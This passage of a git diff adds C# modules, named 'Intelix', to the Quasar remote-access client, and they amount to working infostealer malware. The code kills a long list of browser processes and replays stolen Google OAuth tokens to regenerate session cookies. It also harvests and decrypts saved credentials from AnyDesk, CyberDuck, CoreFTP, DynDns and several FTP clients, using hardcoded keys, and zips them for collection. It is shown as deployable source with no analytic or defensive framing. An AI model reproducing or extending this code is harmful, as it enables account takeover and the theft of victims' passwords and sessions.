"cryptotab.exe", "ghostbrowser.exe", "maelstrom.exe", "kinza.exe", + "globus.exe", "falkon.exe", "elementbrowser.exe", "colibri.exe", "whale.exe", "avastbrowser.exe", "ucbrowser.exe", "maxthon.exe", "blisk.exe", "aolshield.exe", + "baidubrowser.exe", "ccleanerbrowser.exe", "hola.exe", "xvast.exe", "kingpin.exe", "qqbrowser.exe", "private_browsing.exe", "chrome_pwa_launcher.exe", "chrome_proxy.exe" + }; + + private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u; + + private const uint PROCESS_TERMINATE = 1u; + + public static void KillerAll() + { + string[] targets = Targets; + if (targets == null || targets.Length == 0) + { + return; + } + HashSet wanted = new HashSet(StringComparer.OrdinalIgnoreCase); + string[] array = targets; + foreach (string text in array) + { + if (string.IsNullOrWhiteSpace(text)) + { + continue; + } + string text2 = text.Trim().Replace("\"", string.Empty); + try + { + text2 = Path.GetFileName(text2); + } + catch + { + } + if (!string.IsNullOrEmpty(text2)) + { + wanted.Add(text2); + if (!text2.EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) + { + wanted.Add(text2 + ".exe"); + } + string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text2); + if (!string.IsNullOrEmpty(fileNameWithoutExtension)) + { + wanted.Add(fileNameWithoutExtension); + } + } + } + if (wanted.Count == 0) + { + return; + } + List procInfos = ProcessWindows.GetProcInfos(); + if (procInfos == null || procInfos.Count == 0) + { + return; + } + Parallel.ForEach(procInfos, delegate(ProcessWindows.ProcInfo proc) + { + if (proc == null) + { + return; + } + try + { + string text3 = null; + if (!string.IsNullOrEmpty(proc.Path)) + { + try + { + text3 = Path.GetFileName(proc.Path); + } + catch + { + text3 = proc.Path; + } + } + if (string.IsNullOrEmpty(text3)) + { + text3 = proc.Name ?? string.Empty; + } + string item; + try + { + item = Path.GetFileNameWithoutExtension(text3); + } + catch + { + item = text3; + } + if ((!wanted.Contains(text3) && !wanted.Contains(item)) || !int.TryParse(proc.Pid, out var result) || result == 0 || result == 4) + { + return; + } + IntPtr intPtr = IntPtr.Zero; + try + { + intPtr = NativeMethods.OpenProcess(4097u, bInheritHandle: false, (uint)result); + if (intPtr == IntPtr.Zero) + { + intPtr = NativeMethods.OpenProcess(4096u, bInheritHandle: false, (uint)result); + if (!(intPtr != IntPtr.Zero)) + { + return; + } + NativeMethods.CloseHandle(intPtr); + intPtr = NativeMethods.OpenProcess(1u, bInheritHandle: false, (uint)result); + if (intPtr == IntPtr.Zero) + { + return; + } + } + try + { + NativeMethods.TerminateProcess(intPtr, 1u); + } + catch + { + } + } + finally + { + try + { + if (intPtr != IntPtr.Zero) + { + NativeMethods.CloseHandle(intPtr); + } + } + catch + { + } + } + } + catch + { + } + }); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessWindows.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessWindows.cs new file mode 100755 index 0000000..3d091be --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessWindows.cs @@ -0,0 +1,250 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Intelix.Helper; + +public static class ProcessWindows +{ + public class ProcInfo + { + public string Name { get; set; } + + public string Pid { get; set; } + + public string Path { get; set; } + + public string Memory { get; set; } + } + + private static readonly Lazy> _procInfos = new Lazy>(BuildCache, isThreadSafe: true); + + public static List GetProcInfos() + { + return new List(_procInfos.Value); + } + + public static List FindFolder(string folderName) + { + if (string.IsNullOrWhiteSpace(folderName)) + { + return new List(); + } + ConcurrentDictionary concurrentDictionary = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + SearchNearby(folderName, isDirectory: true, concurrentDictionary); + return new List(concurrentDictionary.Keys); + } + + public static List FindFile(string fileName) + { + if (string.IsNullOrWhiteSpace(fileName)) + { + return new List(); + } + ConcurrentDictionary concurrentDictionary = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + SearchNearby(fileName, isDirectory: false, concurrentDictionary); + return new List(concurrentDictionary.Keys); + } + + private static void SearchNearby(string target, bool isDirectory, ConcurrentDictionary found, int maxUp = 3) + { + if (string.IsNullOrEmpty(target)) + { + return; + } + List value = _procInfos.Value; + if (value == null || value.Count == 0) + { + return; + } + string t = target.Trim(); + Parallel.ForEach(value, delegate(ProcInfo proc) + { + try + { + string path = proc.Path; + if (!string.IsNullOrEmpty(path)) + { + string directoryName = Path.GetDirectoryName(path); + if (!string.IsNullOrEmpty(directoryName)) + { + for (int i = 0; i < maxUp; i++) + { + if (string.IsNullOrEmpty(directoryName)) + { + break; + } + string path2 = Path.Combine(directoryName, t); + if (isDirectory) + { + if (Directory.Exists(path2)) + { + try + { + found.TryAdd(Path.GetFullPath(path2), 0); + } + catch + { + } + } + } + else if (File.Exists(path2)) + { + try + { + found.TryAdd(Path.GetFullPath(path2), 0); + } + catch + { + } + } + directoryName = Path.GetDirectoryName(directoryName); + } + } + } + } + catch + { + } + }); + } + + private static List BuildCache() + { + ConcurrentDictionary result = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + uint num = 4096u; + uint[] pids = new uint[num]; + if (!NativeMethods.EnumProcesses(pids, num * 4, out var lpcbNeeded)) + { + num = 65536u; + pids = new uint[num]; + if (!NativeMethods.EnumProcesses(pids, num * 4, out lpcbNeeded)) + { + return new List(); + } + } + int num2 = (int)(lpcbNeeded / 4); + if (num2 <= 0) + { + return new List(); + } + ThreadLocal sbLocal = new ThreadLocal(() => new StringBuilder(1024)); + Parallel.For(0, num2, delegate(int i) + { + uint num3 = pids[i]; + if (num3 == 0 || num3 == 4) + { + return; + } + IntPtr intPtr = IntPtr.Zero; + try + { + intPtr = NativeMethods.OpenProcess(5136u, bInheritHandle: false, (int)num3); + if (!(intPtr == IntPtr.Zero)) + { + string text = null; + try + { + StringBuilder value = sbLocal.Value; + value.Clear(); + uint lpdwSize = (uint)value.Capacity; + if (NativeMethods.QueryFullProcessImageName(intPtr, 0, value, ref lpdwSize)) + { + text = value.ToString(0, (int)lpdwSize); + } + } + catch + { + } + string text2 = null; + if (!string.IsNullOrEmpty(text)) + { + try + { + text2 = Path.GetFileNameWithoutExtension(text); + } + catch + { + text2 = text; + } + } + else + { + text2 = ""; + } + string text3 = ""; + try + { + NativeMethods.PROCESS_MEMORY_COUNTERS_EX ppsmemCounters = default(NativeMethods.PROCESS_MEMORY_COUNTERS_EX); + ppsmemCounters.cb = (uint)Marshal.SizeOf(typeof(NativeMethods.PROCESS_MEMORY_COUNTERS_EX)); + if (NativeMethods.GetProcessMemoryInfo(intPtr, out ppsmemCounters, ppsmemCounters.cb)) + { + text3 = FormatBytes((long)ppsmemCounters.WorkingSetSize.ToUInt64()); + } + } + catch + { + } + ProcInfo procInfo = new ProcInfo + { + Name = SafeString(text2), + Pid = num3.ToString(), + Path = SafeString(text), + Memory = (text3 ?? "") + }; + string key = procInfo.Path + "|" + procInfo.Pid; + result.TryAdd(key, procInfo); + } + } + catch + { + } + finally + { + try + { + if (intPtr != IntPtr.Zero) + { + NativeMethods.CloseHandle(intPtr); + } + } + catch + { + } + } + }); + sbLocal.Dispose(); + return new List(result.Values); + } + + private static string SafeString(string s) + { + if (!string.IsNullOrEmpty(s)) + { + return s; + } + return ""; + } + + private static string FormatBytes(long bytes) + { + if (bytes >= 1073741824) + { + return ((double)bytes / 1073741824.0).ToString("0.##") + " GB"; + } + if (bytes >= 1048576) + { + return ((double)bytes / 1048576.0).ToString("0.##") + " MB"; + } + if (bytes >= 1024) + { + return ((double)bytes / 1024.0).ToString("0.##") + " KB"; + } + return bytes + " B"; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RandomStrings.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RandomStrings.cs new file mode 100755 index 0000000..ccec83e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RandomStrings.cs @@ -0,0 +1,29 @@ +using System; +using System.Linq; + +namespace Intelix.Helper; + +public static class RandomStrings +{ + private const string Ascii = "abcdefghijklmnopqrstuvwxyz"; + + private static readonly Random Random = new Random(); + + public static string GenerateHashTag() + { + return " #" + GenerateString(); + } + + public static string GenerateString() + { + return GenerateString(5); + } + + public static string GenerateString(int length) + { + char c = "abcdefghijklmnopqrstuvwxyz"[Random.Next("abcdefghijklmnopqrstuvwxyz".Length)]; + char[] value = (from s in Enumerable.Repeat("abcdefghijklmnopqrstuvwxyz", length - 1) + select s[Random.Next(s.Length)]).ToArray(); + return c + new string(value); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RegistryParser.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RegistryParser.cs new file mode 100755 index 0000000..0838ba9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RegistryParser.cs @@ -0,0 +1,45 @@ +using System; +using System.Collections.Generic; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class RegistryParser +{ + public static List ParseKey(RegistryKey key) + { + List list = new List(); + if (key == null) + { + return list; + } + string[] valueNames = key.GetValueNames(); + foreach (string text in valueNames) + { + object value = key.GetValue(text); + string text2; + switch (key.GetValueKind(text)) + { + case RegistryValueKind.Binary: + text2 = ((!(value is byte[] array)) ? "null" : BitConverter.ToString(array).Replace("-", "")); + break; + case RegistryValueKind.DWord: + case RegistryValueKind.QWord: + text2 = value.ToString(); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + text2 = value?.ToString() ?? "null"; + break; + case RegistryValueKind.MultiString: + text2 = ((!(value is string[] value2)) ? "null" : string.Join(", ", value2)); + break; + default: + text2 = value?.ToString() ?? "null"; + break; + } + list.Add(text + ": " + text2); + } + return list; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RestoreCookies.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RestoreCookies.cs new file mode 100755 index 0000000..8cf73e6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RestoreCookies.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; + +namespace Intelix.Helper; + +public static class RestoreCookies +{ + public class Account + { + public string type { get; set; } + + public string display_name { get; set; } + + public string display_email { get; set; } + + public string photo_url { get; set; } + + public bool selected { get; set; } + + public bool default_user { get; set; } + + public int authuser { get; set; } + + public bool valid_session { get; set; } + + public string obfuscated_id { get; set; } + + public bool is_verified { get; set; } + } + + public class Cookie + { + public string name { get; set; } + + public string value { get; set; } + + public string domain { get; set; } + + public string path { get; set; } + + public bool isSecure { get; set; } + + public bool isHttpOnly { get; set; } + + public int maxAge { get; set; } + + public string priority { get; set; } + + public string sameParty { get; set; } + + public string sameSite { get; set; } + + public string host { get; set; } + } + + public class Root + { + public string status { get; set; } + + public List cookies { get; set; } + + public List accounts { get; set; } + } + + private static string SendPostRequest(string token) + { + try + { + HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://accounts.google.com/oauth/multilogin?source=com.google.Drive"); + httpWebRequest.Method = "POST"; + httpWebRequest.ContentType = "application/x-www-form-urlencoded"; + httpWebRequest.Headers.Add("Authorization", "MultiBearer " + token); + httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) com.google.Drive/6.0.230903 iSL/3.4 (gzip)\r\n"; + string s = ""; + byte[] bytes = Encoding.UTF8.GetBytes(s); + using (Stream stream = httpWebRequest.GetRequestStream()) + { + stream.Write(bytes, 0, bytes.Length); + } + using HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse(); + if (httpWebResponse.StatusCode == HttpStatusCode.OK) + { + using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream())) + { + return streamReader.ReadToEnd(); + } + } + } + catch (Exception) + { + } + return string.Empty; + } + + public static string CRestore(string restore) + { + try + { + string text = SendPostRequest(restore); + if (string.IsNullOrEmpty(text)) + { + return string.Empty; + } + text = text.Remove(0, 5); + Root obj = new Root + { + status = Regex.Match(text, "\"status\":\"(.*?)\"").Groups[1].Value, + cookies = ExtractCookies(text), + accounts = ExtractAccounts(text) + }; + StringBuilder stringBuilder = new StringBuilder(); + foreach (Cookie cookie in obj.cookies) + { + string text2 = (string.IsNullOrEmpty(cookie.host) ? cookie.domain : cookie.host); + text2 = (string.IsNullOrEmpty(text2) ? ".google.com" : text2); + stringBuilder.AppendLine(text2 + "\tTRUE\t" + cookie.path + "\tFALSE\t" + cookie.maxAge + "\t" + cookie.name + "\t" + cookie.value); + } + return stringBuilder.ToString(); + } + catch + { + } + return string.Empty; + } + + private static List ExtractCookies(string json) + { + List list = new List(); + foreach (Match item2 in Regex.Matches(json, "{(.*?)}")) + { + string value = item2.Value; + int result; + Cookie item = new Cookie + { + name = Regex.Match(value, "\"name\":\"(.*?)\"").Groups[1].Value, + value = Regex.Match(value, "\"value\":\"(.*?)\"").Groups[1].Value, + domain = Regex.Match(value, "\"domain\":\"(.*?)\"").Groups[1].Value, + path = Regex.Match(value, "\"path\":\"(.*?)\"").Groups[1].Value, + isSecure = Regex.IsMatch(value, "\"isSecure\":true"), + isHttpOnly = Regex.IsMatch(value, "\"isHttpOnly\":true"), + maxAge = (int.TryParse(Regex.Match(value, "\"maxAge\":(\\d+)").Groups[1].Value, out result) ? result : 0), + priority = Regex.Match(value, "\"priority\":\"(.*?)\"").Groups[1].Value, + sameParty = Regex.Match(value, "\"sameParty\":\"(.*?)\"").Groups[1].Value, + sameSite = Regex.Match(value, "\"sameSite\":\"(.*?)\"").Groups[1].Value, + host = Regex.Match(value, "\"host\":\"(.*?)\"").Groups[1].Value + }; + list.Add(item); + } + return list; + } + + private static List ExtractAccounts(string json) + { + List list = new List(); + foreach (Match item2 in Regex.Matches(json, "{(.*?)}")) + { + string value = item2.Value; + int result; + Account item = new Account + { + type = Regex.Match(value, "\"type\":\"(.*?)\"").Groups[1].Value, + display_name = Regex.Match(value, "\"display_name\":\"(.*?)\"").Groups[1].Value, + display_email = Regex.Match(value, "\"display_email\":\"(.*?)\"").Groups[1].Value, + photo_url = Regex.Match(value, "\"photo_url\":\"(.*?)\"").Groups[1].Value, + selected = Regex.IsMatch(value, "\"selected\":true"), + default_user = Regex.IsMatch(value, "\"default_user\":true"), + authuser = (int.TryParse(Regex.Match(value, "\"authuser\":(\\d+)").Groups[1].Value, out result) ? result : 0), + valid_session = Regex.IsMatch(value, "\"valid_session\":true"), + obfuscated_id = Regex.Match(value, "\"obfuscated_id\":\"(.*?)\"").Groups[1].Value, + is_verified = Regex.IsMatch(value, "\"is_verified\":true") + }; + list.Add(item); + } + return list; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/WindowsInfo.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/WindowsInfo.cs new file mode 100755 index 0000000..042dfcd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/WindowsInfo.cs @@ -0,0 +1,88 @@ +using System; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class WindowsInfo +{ + public static string GetProductName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + string obj = (registryKey.GetValue("ProductName") as string) ?? "Unknown"; + string text = (registryKey.GetValue("ReleaseId") as string) ?? (registryKey.GetValue("DisplayVersion") as string) ?? ""; + return (obj + " " + text).Trim(); + } + catch + { + return "Unknown"; + } + } + + public static string GetBuildNumber() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + return registryKey.GetValue("CurrentBuild")?.ToString() ?? registryKey.GetValue("CurrentBuildNumber")?.ToString() ?? "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static string GetArchitecture() + { + try + { + return Environment.Is64BitOperatingSystem ? "x64" : "x86"; + } + catch + { + return "Unknown"; + } + } + + public static string GetVersion() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + object value = registryKey.GetValue("CurrentMajorVersionNumber"); + object value2 = registryKey.GetValue("CurrentMinorVersionNumber"); + if (value != null && value2 != null) + { + return $"{value}.{value2}"; + } + string text = registryKey.GetValue("CurrentVersion") as string; + if (!string.IsNullOrEmpty(text)) + { + return text; + } + return "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFullInfo() + { + return "OS Product: " + GetProductName() + "\nOS Build: " + GetBuildNumber() + "\nOS Arch: " + GetArchitecture(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/AnyDesk.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/AnyDesk.cs new file mode 100755 index 0000000..af80bf7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/AnyDesk.cs @@ -0,0 +1,21 @@ +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class AnyDesk : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\ProgramData\\AnyDesk\\service.conf"; + if (File.Exists(text)) + { + string text2 = "AnyDesk\\service.conf"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "AnyDesk"; + counterApplications.Files.Add(text + " => " + text2); + counter.Applications.Add(counterApplications); + zip.AddFile(text2, File.ReadAllBytes(text)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CoreFtp.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CoreFtp.cs new file mode 100755 index 0000000..eedb8c6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CoreFtp.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class CoreFtp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CoreFTP"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\FTPWare\\COREFTP\\Sites"); + if (registryKey == null) + { + return; + } + List list = new List(); + foreach (string item in from n in registryKey.GetSubKeyNames() + orderby n + select n) + { + try + { + using RegistryKey registryKey2 = registryKey.OpenSubKey(item); + if (registryKey2 != null) + { + object value = registryKey2.GetValue("Host"); + object value2 = registryKey2.GetValue("User"); + object value3 = registryKey2.GetValue("PW"); + if (value != null) + { + string text = (value as string) ?? value.ToString(); + string text2 = (value2 as string) ?? value2?.ToString() ?? ""; + string text3 = DecryptCoreFtpPassword((value3 as string) ?? value3?.ToString() ?? ""); + list.Add("Url: " + text + ":21\nUsername: " + text2 + "\nPassword: " + text3 + "\n"); + counterApplications.Files.Add(registryKey2.Name ?? ""); + } + } + } + catch + { + } + } + if (list.Count > 0) + { + zip.AddFile("FTP/CoreFTP/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list))); + counter.Applications.Add(counterApplications); + } + } + + private static string DecryptCoreFtpPassword(string hexCipher) + { + byte[] bytes = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk"); + byte[] iV = new byte[16]; + byte[] array = HexToBytes(hexCipher); + using Aes aes = Aes.Create(); + aes.KeySize = 128; + aes.BlockSize = 128; + aes.Key = bytes; + aes.IV = iV; + aes.Mode = CipherMode.ECB; + aes.Padding = PaddingMode.Zeros; + using MemoryStream memoryStream = new MemoryStream(); + using ICryptoTransform transform = aes.CreateDecryptor(); + using CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write); + cryptoStream.Write(array, 0, array.Length); + cryptoStream.FlushFinalBlock(); + return Encoding.UTF8.GetString(memoryStream.ToArray()); + } + + private static byte[] HexToBytes(string hex) + { + int num = hex.Length / 2; + byte[] array = new byte[num]; + for (int i = 0; i < num; i++) + { + array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16); + } + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CyberDuck.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CyberDuck.cs new file mode 100755 index 0000000..9922101 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CyberDuck.cs @@ -0,0 +1,30 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class CyberDuck : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Cyberduck", "Profiles"); + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CyberDuck"; + string[] files = Directory.GetFiles(path); + foreach (string text in files) + { + if (text.EndsWith(".cyberduckprofile")) + { + string text2 = "FTP/CyberDuck/" + Path.GetFileName(text); + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + } + counter.Applications.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/DynDns.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/DynDns.cs new file mode 100755 index 0000000..cb16c98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/DynDns.cs @@ -0,0 +1,51 @@ +using System; +using System.Globalization; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class DynDns : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\ProgramData\\Dyn\\Updater\\config.dyndns"; + if (File.Exists(text)) + { + string[] array = File.ReadAllLines(text); + if (array.Length != 0) + { + string text2 = "Dyn\\Passwords.txt"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Dyn"; + counterApplications.Files.Add(text + " => " + text2); + counter.Applications.Add(counterApplications); + zip.AddTextFile(text2, "UserName: " + array[1].Substring(9) + "\r\nPassword: " + DecryptDynDns(array[2].Substring(9))); + } + } + } + + private string DecryptDynDns(string encrypted) + { + string text = string.Empty; + for (int i = 0; i < encrypted.Length; i += 2) + { + text += (char)int.Parse(encrypted.Substring(i, 2), NumberStyles.HexNumber); + } + char[] array = text.ToCharArray(); + char[] array2 = new char[text.Length]; + for (int j = 0; j < array2.Length; j++) + { + try + { + int num = 0; + array2[j] = (char)(array[j] ^ Convert.ToChar("t6KzXhCh".Substring(num, 1))); + num = (num + 1) % 8; + } + catch (Exception) + { + } + } + return new string(array2); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPCommander.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPCommander.cs new file mode 100755 index 0000000..6a00a5b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPCommander.cs @@ -0,0 +1,66 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class FTPCommander : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string[] obj = new string[5] + { + "C:\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt", + "C:\\Program Files (x86)\\FTP Commander\\Ftplist.txt", + "C:\\cftp\\Ftplist.txt", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander\\Ftplist.txt", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt" + }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPCommander" + }; + List list = new List(); + string[] array = obj; + foreach (string text in array) + { + if (!File.Exists(text)) + { + continue; + } + string[] array2 = File.ReadAllLines(text); + foreach (string text2 in array2) + { + if (string.IsNullOrWhiteSpace(text2)) + { + continue; + } + string[] array3 = text2.Split(';'); + if (array3.Length >= 6) + { + string text3 = array3[1].Split('=')[1]; + string text4 = array3[2].Split('=')[1]; + string input = array3[3].Split('=')[1]; + string text5 = array3[4].Split('=')[1]; + if (!(array3[5].Split('=')[1] != "0")) + { + string text6 = Xor.DecryptString(input, 25); + list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n"); + string text7 = "FTP/FTPCommander/Hosts.txt"; + counterApplications.Files.Add(text + " => " + text7); + } + } + } + } + if (list.Count > 0) + { + string text8 = "FTP/FTPCommander/Hosts.txt"; + zip.AddFile(text8, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text8 ?? ""); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPGetter.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPGetter.cs new file mode 100755 index 0000000..871671b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPGetter.cs @@ -0,0 +1,54 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FTPGetter : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\FTPGetter\\servers.xml"; + if (!File.Exists(text)) + { + return; + } + string input = File.ReadAllText(text, Encoding.UTF8); + Regex regex = new Regex("]*>(.*?)", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex2 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex3 = new Regex("\\s*(?\\d+)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex4 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex5 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPGetter" + }; + foreach (Match item in regex.Matches(input)) + { + string value = item.Groups[1].Value; + Match match = regex2.Match(value); + if (match.Success) + { + string text2 = match.Groups["v"].Value.Trim(); + Match match2 = regex3.Match(value); + string text3 = (match2.Success ? match2.Groups["v"].Value.Trim() : "21"); + Match match3 = regex4.Match(value); + string text4 = (match3.Success ? match3.Groups["v"].Value.Trim() : ""); + Match match4 = regex5.Match(value); + string text5 = (match4.Success ? match4.Groups["v"].Value.Trim() : ""); + list.Add("Url: " + text2 + ":" + (string.IsNullOrEmpty(text3) ? "21" : text3) + "\nUsername: " + text4 + "\nPassword: " + text5 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPGetter/Hosts.txt"); + } + } + if (list.Count > 0) + { + zip.AddFile("FTP/FTPGetter/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add("FTP/FTPGetter/Hosts.txt"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPNavigator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPNavigator.cs new file mode 100755 index 0000000..3f53c84 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPNavigator.cs @@ -0,0 +1,50 @@ +using System.Collections.Generic; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class FTPNavigator : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\FTP Navigator\\Ftplist.txt"; + if (!File.Exists(text)) + { + return; + } + string[] array = File.ReadAllLines(text); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTP Navigator" + }; + string[] array2 = array; + foreach (string text2 in array2) + { + if (!string.IsNullOrWhiteSpace(text2)) + { + string[] array3 = text2.Split(';'); + string text3 = array3[1].Split('=')[1]; + string text4 = array3[2].Split('=')[1]; + string input = array3[3].Split('=')[1]; + string text5 = array3[4].Split('=')[1]; + if (!(array3[5].Split('=')[1] != "0")) + { + string text6 = Xor.DecryptString(input, 25); + list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPNavigator/Hosts.txt"); + } + } + } + if (list.Count > 0) + { + string text7 = "FTP/FTPNavigator/Hosts.txt"; + zip.AddFile(text7, Encoding.UTF8.GetBytes(string.Join("\n", list))); + 